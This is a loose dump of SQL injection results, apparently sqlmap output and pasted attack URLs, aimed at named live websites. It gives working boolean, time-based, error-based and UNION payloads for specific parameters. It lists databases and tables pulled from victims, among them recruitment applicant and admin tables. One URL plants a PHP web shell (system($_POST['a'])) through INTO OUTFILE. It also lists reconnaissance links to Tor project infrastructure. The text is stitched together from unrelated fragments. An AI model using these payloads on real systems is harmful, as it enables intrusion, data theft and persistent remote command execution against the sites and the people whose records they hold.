Parameter: skid (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: skid=-1709' OR 7993=7993-- yUsK&ti=UExQIFJ1bGUgQmFzZWQ6U2hvcCBBbGwgU2FsZSA6MToxNTo=
---
web application technology: Nginx
back-end DBMS: IBM DB2---
Parameter: ex (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ex=tradesatoshi' AND (SELECT 6151 FROM (SELECT(SLEEP(5)))Vxbf) AND 'mRGh'='mRGh
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: ex=-5830' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626b6b71,0x70466e5367766a614157636d4e496d5a43594f4e7a6b746850777a6b565559766d56694a4e456a4a,0x7162787071),NULL,NULL-- QZWc
---
[INFO] the back-end DBMS is MySQL
web application technology: PHP
back-end DBMS: MySQL >= 5.0.12
available databases [17]:
[*] aio
[*] ayfon
[*] burkul
[*] filehippo
[*] information_schema
[*] instagramvid
[*] lyrics
[*] lyricstalk
[*] lyricx
[*] mp3_lyrics
[*] mp3bueno
[*] mp3raid
[*] mp3skull
[*] mysql
[*] performance_schema
[*] ringtone_stats
[*] seotools
http://recruit.hankyung.com/bbs/view.php?&id=notice&no=35&page=1&old_no=34&old_id=notice&desc=desc&cParameter: no (GET)
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: &id=notice&no=35 AND ROW(8109,1597)>(SELECT COUNT(*),CONCAT(0x7170766271,(SELECT (ELT(8109=8109,1))),0x717a766b71,FLOOR(RAND(0)*2))x FROM (SELECT 3631 UNION SELECT 7366 UNION SELECT 6740 UNION SELECT 4307)a GROUP BY x)&page=1&old_no=34&old_id=notice&desc=desc&c
Type: UNION query
Title: Generic UNION query (NULL) - 27 columns
Payload: &id=notice&no=-5301 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170766271,0x646e6946586c774e585157666957417161444d6c46587178646d5866684d556874705565466d5a41,0x717a766b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- TiOQ&page=1&old_no=34&old_id=notice&desc=desc&cweb server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, PHP 5.1.2
back-end DBMS: MySQL >= 4.1
Database: faylen
+-------------------+---------+
| Table | Entries |
+-------------------+---------+
| userform | 1 |
+-------------------+---------+
Database: phpmyadmin
+-------------------+---------+
| Table | Entries |
+-------------------+---------+
| mytable | 1 |
+-------------------+---------+
Database: ipsa_dbo
+-------------------+---------+
| Table | Entries |
+-------------------+---------+
| ziptable | 11815 |
| dtproperties | 7 |
| admin | 3 |
+-------------------+---------+
Database: powersploit
+-------------------+---------+
| Table | Entries |
+-------------------+---------+
| mytable | 1 |
+-------------------+---------+
Database: recruit
+-------------------+---------+
| Table | Entries |
+-------------------+---------+
| recruit_code | 100000 |
| zipcode | 49029 |
| recruit_rand | 10000 |
| recruit_code3 | 9999 |
| recruit_applicant | 528 |
| recruit_excel | 36 |
| bbs_board | 22 |
| recruit_admin | 6 |
| recruit_quiz | 4 |
| recruit_request | 4 |
| bbs_user | 3 |
| bbs_config | 2 |
| a | 1 |
| bbs_group | 1 |
+-------------------+---------+
http://ziam.ru/buy-phone.php?id=-1%27%20uNion%20SelEcT%20null,%27%3C?php%20%20system%28$_POST[%22a%22]%29;?%3E%27%20%20into%20outfile%20%20%27/home/wp/ziam/images/15.php%27+--+-Админ просто топовый. Что сайт кривой весь, что сервер.
https://www.comodo.com/news/press_releases/2011/02/' UnIoN SeLEcT NULL,NULL,NULL,NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Bjws.htmlhttps://gitweb.torproject.org/
https://gitweb.torproject.org/admin/tor-jenkins.git/tree/config.xml
https://gitweb.torproject.org/admin/tor-nagios.git/tree/config/nagios-master.cfg
https://jenkins.torproject.org/user/nickm/my-views/view/All/job/tor-ci-windows-0.3.5/scmPollLog/
https://db.torproject.org/machines.cgi?host=buildbox
www.labofapenetrationtester.com
) [Write-Error], WriteErrorException
http://www3.w-hs.de/JPR/lro/bp_neu.php?id=31233154+UnIoN+SeLEcT+1,2,(select(select+concat(0x3c2f7469746c653e,@:=0xa7,(select+count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))),4,5+--+-
http://cainskelton.com/joystickmapper/xbox-game.php?id=sdfsdf%27+UnIoN+SeLEcT+1,2,3,user(),5,6,7,8,9+--+-.
http://www.beautifulcard.com/en/newsDia.php?id=fgh' UnIoN SeLEcT 1,(select(select+concat(@:=0xa7,(select+count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))),3,4,5,6,7,8,9,0,11,12--+-
Target: http://www.njrat.org/certificate/index.php?cert=%Inject_Here%c74bacdc
Date: 20.1.2020 г. 4:53:18
DB Detection: MySQL >=5 (Auto Detected)
Method: GET
Type: String (Auto Detected)
Data Base: 2951625_njrat
Table: users